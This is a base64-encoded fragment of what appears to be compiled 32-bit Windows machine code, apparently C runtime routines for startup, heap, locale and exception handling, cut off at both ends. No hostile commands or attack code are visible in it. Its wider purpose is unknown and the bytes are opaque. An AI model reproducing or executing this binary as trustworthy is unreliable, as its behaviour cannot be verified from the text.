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H/i0wkBCvBw41B/otMJAQrwcONQf2LTCQEK8HDjUH8i0wkBCvBw4v/VYvsg+wQ/3UIjU3w6Ezx//8PtkUMi030ilUUhFQBHXUeg30QAHQSi03wi4nIAAAAD7cEQSNFEOsCM8CFwHQDM8BAgH38AHQHi034g2Fw/cnDi/9Vi+xqBGoA/3UIagDomv///4PEEF3DzMzMzMzMzMzMzFNWV4tUJBCLRCQUi0wkGFVSUFFRaPBDABBk/zUAAAAAoQCQABAzxIlEJAhkiSUAAAAAi0QkMItYCItMJCwzGYtwDIP+/nQ7i1QkNIP6/nQEO/J2Lo00do1csxCLC4lIDIN7BAB1zGgBAQAAi0MI6DITAAC5AQAAAItDCOhEEwAA67BkjwUAAAAAg8QYX15bw4tMJAT3QQQGAAAAuAEAAAB0M4tEJAiLSAgzyOjYzP//VYtoGP9wDP9wEP9wFOg+////g8QMXYtEJAiLVCQQiQK4AwAAAMNVi0wkCIsp/3Ec/3EY/3Eo6BX///+DxAxdwgQAVVZXU4vqM8Az2zPSM/Yz///RW19eXcOL6ovxi8FqAeiPEgAAM8Az2zPJM9Iz///mVYvsU1ZXagBSaJZEABBR6JwWAABfXltdw1WLbCQIUlH/dCQU6LX+//+DxAxdwggAagxoAIQAEOhC4P//ag7oUun//1mDZfwAi3UIi04Ehcl0L6HkpwAQuuCnABCJReSFwHQROQh1LItIBIlKBFDoQdX//1n/dgToONX//1mDZgQAx0X8/v///+gKAAAA6DHg///Di9DrxWoO6B7o//9Zw8zMzMzMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgg8ABw/fCAQAAAHQYigKDwgE6AXXng8EBCsB03PfCAgAAAHSkZosCg8ICOgF1zgrAdMY6YQF1xQrkdL2DwQLriIv/VYvsg30IAHUV6Gjz///HABYAAADolvj//4PI/13D/3UIagD/NSCgABD/FeBgABBdw4v/VYvsVot1CIX2D4RjAwAA/3YE6DLU////dgjoKtT///92DOgi1P///3YQ6BrU////dhToEtT///92GOgK1P///zboA9T///92IOj70////3Yk6PPT////dijo69P///92LOjj0////3Yw6NvT////djTo09P///92HOjL0////3Y46MPT////djzou9P//4PEQP92QOiw0////3ZE6KjT////dkjooNP///92TOiY0////3ZQ6JDT////dlToiNP///92WOiA0////3Zc6HjT////dmDocNP///92ZOho0////3Zo6GDT////dmzoWNP///92cOhQ0////3Z06EjT////dnjoQNP///92fOg40///g8RA/7aAAAAA6CrT////toQAAADoH9P///+2iAAAAOgU0////7aMAAAA6AnT////tpAAAADo/tL///+2lAAAAOjz0v///7aYAAAA6OjS////tpwAAADo3dL///+2oAAAAOjS0v///7akAAAA6MfS////tqgAAADovNL///+2vAAAAOix0v///7bAAAAA6KbS////tsQAAADom9L///+2